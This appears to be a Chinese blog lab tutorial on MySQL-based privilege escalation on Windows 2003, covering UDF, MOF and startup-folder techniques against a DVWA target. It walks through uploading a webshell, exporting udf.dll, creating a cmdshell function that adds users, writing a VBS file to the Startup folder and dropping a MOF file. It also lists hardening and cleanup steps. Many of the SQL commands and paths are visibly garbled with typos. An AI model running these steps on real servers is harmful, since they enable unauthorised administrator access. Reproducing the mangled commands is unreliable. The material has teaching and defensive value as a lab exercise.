SQL注入-基于MySQL的注入提权(十七)
實驗目的(我的2003是32位的懶得搞了,大家參照一下吧)
普及結合dll文件對Windows系統進行啟動項提權、MOF和UDF提權的基本思路,以及提權的主要方法。PS:面試時不要說打靶場什么東西,就說創建用戶,文件執行什么之類的
基本概念
提權
通過某種方式將低權限用戶提升為高權限用戶的過程。
注入提權
一般指的是在掌控了某數據庫賬戶的情況下,通過SQL注入等方式提升該賬戶的權
限,進而奪得服務器(操作系統)的控制權
Windows2003操作系統—一默認用戶
System:本地機器上擁有最高權限的用戶,普通用戶管理工具查看不到
Administrator:基本上是本地機器上擁有最高權限的用戶,可以重命名,但不能刪除
Users組用戶:普通用戶,僅擁有一些基本的權限
Guests組用戶:擁有相對極少的權限,默認情況是被禁用的
IUSR_*:安裝IIS后出現的內建帳號,匿名訪問IIS,Guest組成員之一
IWAM_*:與S有關,普通的用戶帳戶,可以為其分配訪問遠程網絡資源的權限
Windows2003操作系統——目錄(文件夾)權限
(1)完全控制:對目錄擁有不受限制的完全訪問權。選中了“完全控制”,下面的
五項屬性將自動被選中。
(2)修改:選中了“修改”,它下面的四項屬性將自動被選中。下面的任何一項沒
有被選中時,“修改”條件將不再成立。
(3)讀取和運行:允許讀取和運行在目錄下的任何文件,“列出文件夾目錄”和
“讀取”是“讀取和運行”的必要條件。
(4)列出文件夾目錄:只能瀏覽該卷或目錄下的子目錄,不能讀取,也不能運行。
(5)讀取:能夠讀取該卷或目錄下的數據。
(6)寫入:能夠往該卷或目錄下寫入數據。
(7)特別的權限:對以上的六種權限進行細分及自定義。
系統提權的常用方法
操作系統提權
>系統內核溢出漏洞提權(https://github.com/secwiki/windows-kernel-exploits)
>系統配置錯誤提權
>組策略首選項提權(SYSVOL/GPP)
>BypassUAC提權
webshell提權
令牌取提權
數據庫提權(MySQL、SQLServer等)
第三方應用軟件提權(Serv-U、Office等)
通過MySQL數據庫提權的方式
UDF提權
MOF提權
啟動項提權
UDF
UDF(用戶定義函數)是一類對MySQL服務器功能進行擴充的代碼,通過添加新函數,性質就像使用本地MySQL函數absO)或concat0。當需要擴展MySQL服務器功能時,UDF通常是最好的選擇。但同時,UDF也是黑客們在擁有低權限MySQL賬號時比較好用的一種提權方法
UDF提權適用場合
擁有MySQL中的某個用戶賬號,該賬號有對MySQL的insert和delete權限
UDF提權條件
MySQL版本大于5.1時,udf.dll文件須放置于MySQL安裝目錄下的lib\plugin文件夾(一般需要手工創建)下;MySQL版本小于5.1時,udf.dll文件在Windows2003下須放置于c:lwindowslsystem32
擁有MySQL數據庫的賬號,該賬號有對MySQL的insert和delete權限,以創建和拋棄函數(一般以root賬號為佳,具備root權限的其它賬號也可以)擁有將udf.dl寫入到相應目錄的權限:MySQL的secure_file_priv不為NULL,且目標目錄本身可寫
NTFSADS流來創建文件夾(解決/lib/plugin目錄不存在的問題)
select@@basedir;//查找到MySQL的目錄
selectltis 'lt is dll' into dumpfile'C:\\Program Files\\MySQL\\MySQL
Server5.1\\lib::$INDEX_ALLOCATION';//利用NTFS ADS創建lib目錄
select 'lt is dll' into dumpfile 'C:\\Program? Files\\MySQL\\MySQL
Server 5.1\\lib\\lplugin::$INDEX_ALLOCATION';//利用NTFS ADS創建plugin目錄
UDF提權實例
環境
靶機:Windows2003
攻擊機:Windows7,Webshell腳本(dama.php),UDF提權腳本(udf.php)
步驟
利用把機的文件上傳漏洞,上傳Webshell(dama.php)
遠程連接Webshell(damaphp),利用該Webshell上傳UDF提權腳本(udf.php)并創建
plugin目錄
遠程連接udf.php,生成udf.dll并導出至plugin目錄中
執行下列命令,創建自定義函數cmdshell:
create function cmdshell returns string soname 'udf.dll';
執行下列命令,利用自定義函數cmdshell為粑機操作系統新建用戶:
select cmdshell('net user admin12 admin12 /add');
MOF
MOF是Windows系統的一個文件(在
C:/Windows/System32/wbem/mof/nullevt.mof)叫做“托管對象格式
MOF作用是每隔五秒就會去監控進程創建和死亡
MOF當中有一段是VBS腳本,VBS大多數的是cmd的添加管理員用戶的命令
MOF提權條件
目標系統是Windows2000、WindowsXP或Windows2003
擁有MySQL數據庫的root賬號權限
擁有將MOF文件寫入到目錄“%SystemRoot%\System321Wbem\MOF”的
權限:MySQL的secure_file_priv不為NULL,且目標目錄本身可寫
MOF提權實例
環境
靶機:Windows2003
攻擊機:Windows7,Webshell腳本(dama.php),MOF提權腳本(nullevt.mof)
步驟
編寫MOF提權腳本(nullevt.mof)
利用把機的文件上傳漏洞,上傳Webshell(dama.php)和MOF提權腳本(nullevt.mof)
遠程連接Webshell,并使用如下命令將MOF提權腳本(nullevt.mof)移動到C/Windows/System32/wbem/mof目錄下,使操作系統自動執行:
select load_file('C:\\ProgramFiles\\lphpstudy\\WWW\\DvwA\\hackable\\uploads\\lnullevt.mof') into dumpfile 'C\\windows\\system32\\wbem\\mof\\nullevt.mof';
如果服務器發現被使用MOF提權,該如何解決循環創建用戶?
在cmd中使用以下命令停止Windows Management Instrumentation服務:
net stop winmgmt
刪除文件夾下內容C:/Windows/system32/wbem/repository
刪除MOF文件
刪除目標用戶
在cmd中使用以下命令啟動Windows Management Instrumentation服務:
net start winmgmt
Webshell下的Windows啟動項提權
Wscript是一個基于Windows系統腳本宿主對象的根對象,利用它可以創造兩種COM對象:
WshSheli與WshNetwork
WScriptShell(WindowsScriptHostRuntimeLibrary)是一個對象,對應的文件是C:/WINDOWs/system32/wshom.ocx
Wscript.shel是服務器系統會用到的一種組件。這個對象
可以執行操作系統外殼常用的操作,比如運行程序、讀寫注
冊表、環境變量等。這個對象通常被用在VB或VBS編程中。
set wshshell=Createobject ("wscriptshell")
wshshell.run ("notepad")
啟動項提權條件
目標系統是Windows2000、WindowsXP或Windows2003
擁有MySQL數據庫的root賬號權限
擁有將VBS或BAT文件寫入到目錄“C:\DocumentsandSettings\AllUsers\”
「開始」菜單\程序\啟動”的權限:MySQL的secure_file_priv不為NULL,且
目標目錄本身可寫
啟動項提權實例
環境
靶機:Windows2003
攻擊機:Windows10,Webshell腳本(dama.php)
步驟
利用職機的文件上傳漏洞,上傳Webshell(dama.php)
遠程連接Webshell,并使用如下命令在MySQL默認數據庫test中創建表a,并插入相應內容:
insert into a values("set wshshell=createobject (""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user11/add"",0)");
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators 1/add"",0)");
利用如下命令創建一個vbs腳本程序,并將其輸出至靶機操作系統的開始啟動項中:
select * from a into outfile "C:\\Documents and Settings\\AII Users\\ 「開始]菜單\\程序\\啟動\\a.vbs";
注入提權的防范
基于MySQL的注入提權防范方法
查看MySQL數據庫中user表授權的登錄host,禁止具備root賬號權限的用戶通過"%"進行登錄
禁止在網站CMS系統使用root賬號進行配置
設置root賬號的密碼為強密碼
對MySQL執行程序進行降權,禁止網站用戶讀取user.frm、user.myd、user.myi
檢查MySQL數據庫下的mysq1庫中是否存在其它無關表,檢查func表中的內容
可以在相應的目錄下建立一個udf.dll空文件,并嚴格設置權限,任何用戶無讀取和寫入權限
實驗環境
攻擊機:別人的
(1)操作系統:Windows10
(2)安裝的應用軟件:sqlmap、Burpsuite、FireFox瀏覽器插件Hackbar、
FoxyProxy等
(3)登錄賬號密碼:操作系統帳號Admin,密碼sdfgh
靶機:魚王
(1)操作系統:本機(建議用虛擬機2003,不過我太懶了( ̄??)
(2)安裝的應用軟件: Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、??
Webug3.0漏洞網站環境??
(3)登錄賬號密碼:操作系統帳號root,密碼dfgh
實驗原理
“啟動項”就是開機的時候系統會在前臺或者后臺運行的程序。許多程序的自啟動,給我們帶來了很多方便,但不是每個自啟動的程序對我們都有用:更甚者,也許有病毒或木馬在自啟動行列。如果攻擊者能夠控制啟動項,擁有將可執行惡意腳本寫入到啟動項中的權限,能夠完成提權的目的。
UDF(用戶定義函數)是一類對MysQL服務器功能進行擴充的代碼,通常是用C(或C++)寫的。通過添加新函數,性質就像使用本地 MySQL函數abs()或concat()。當需要擴展MysαL服務器功能時,UDF通常是最好的選擇。但同時,UDF也是黑客們在擁有低權限 MySQL賬號時比較好用的一種提權方法。
?MOF是Windows系統的一個文件(在C://Windows/system32/wbem/mof/nullevt.mof),叫做托管對象格式”,其作用是每隔一段時間就會去監控進程創建和死亡。MOF當中有一段是vbs腳本,
當中大多數是cmd添加用戶的命令。
實驗步驟
1.開啟漏洞環境
在靶機上,啟動 phpstudy,開啟漏洞環境。
2.利用DVWA網站的漏洞上傳Webshell并遠程連接
(1)在攻擊機Pentest-Atk上,啟動Firefox瀏覽器,登錄機上的DVWA網站。
網站的URL為;
http://靶機IP/DVWA-master/login.php?
http://127.0.0.1/DVWA-master/login.php輸入默認用戶名admin、密碼password登錄。
(2)成功登錄DVWA網站后,在左側菜單點擊DVWASecurity,將DVWA網站的安全級別設置為Low,并點擊Submit按鈕確定。
(3)安全級別設置完成后,在左側菜單點擊“File Upload"模塊,進入文件上傳訓練模塊,并將攻擊機的桌面文件夾tools/tiquan中的dama.php(實驗中所用的Webshell) 文件上傳至靶機(我本)。
win 2003 聯網_Gjqhs的博客-CSDN博客
?(4)dama.php上傳成功后,在攻擊機瀏覽的地址欄中輸入如下URL連接.php文件:
?
?如圖此類
注:第一次登錄dama.php時會出現長時間卡頓現象,此時刷新瀏覽器即可。
3.利用Webshell上傳udf.php(udf提權腳本),并創建plugin目錄
(1)在dama.php主界面,選擇左側菜單“信息操作“->“上傳文件”,將將攻擊機桌面文件夾tools/tiquan中的udf.php(udf提權腳本)文件上傳至機。默認上傳路徑為dama.php所在的目錄,即:C:/ProgramFiles/phpstudy//dvwa/hackable/uploads
(2)仍然在damaphp主界面上,選擇左側菜單“本地磁盤”本地磁盤C,在C:/ProgramFiles/phpStudy/MySQL/lib目錄下創建名為plugin的文件夾。
4.遠程連接udf.php(udf提權腳本)
在攻擊機Pentest-Atk上,利用Firefox瀏覽器連接目標靶機上的udf.php腳本。
連接URL:
http://ip/dwwa/hackable/uploads/udf.phphost:127.0.8.1
mysq1賬號:root
密碼:root
數據庫名:mysql
5.利用udf.php生成dll文件,并執行提權
(1)在udf.php主界面,在“DLL導出路徑”處填寫:
C:\\Program Filesll\\phpstudy\\wysqL\\llib\\plugin\\udf.dil填寫完成后點擊”導出到此目錄“按鈕。如果執行成功,udf.dll文件將被導出至指定目錄。
注:
a)在填寫DLL導出路徑時,應使用雙反斜杠。
b)MySQL數據庫的版本不同,導出路徑也不盡相同。當MySQL版本<5.0時,導出路徑隨意:如果5.0<=MySQL版本<5.1,則需要導出至目標服務器的系統目錄(如:system32):如果MySQL版本>5.1,則需要導出至MySQL數據庫
插件的安裝目錄(plugin)。由于plugin目錄默認是不存在的,因此在本實驗的第3步中需要利用Webshell創建該目錄。
(2)udf.dll導出成功后,仍然在udfphp主界面執行下列命令,創建cmdshell函數:
createfunction cmdshellreturnsstring soname"udf.dll'
(3)如果cmdshell函數創建成功,則可利用該函數在靶機操作系統中添加名為admin12的用戶,所用命令為:
select cmdshell('net user admin12? /add');
(4)在靶機上驗證攻擊效果:
在cmd下輸入netuser命令,會看到靶機操作系統中被添加了一個用戶
“admin12”
有空補上吧,太長了
win隱藏賬戶
SQL注入——SQL注入漏洞利用(零)
SQL注入-SQL注入的WAF繞過(十六)_Gjqhs的博客-CSDN博客
...
更多包括而不限于SQL注入的文章,關注我全部帶走吧ψ(`?′)ψ
總結
以上是生活随笔為你收集整理的SQL注入-基于MySQL的注入提权(十七)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SQL注入——SQL注入漏洞利用(零)(
- 下一篇: OWASPTop10安全风险与防护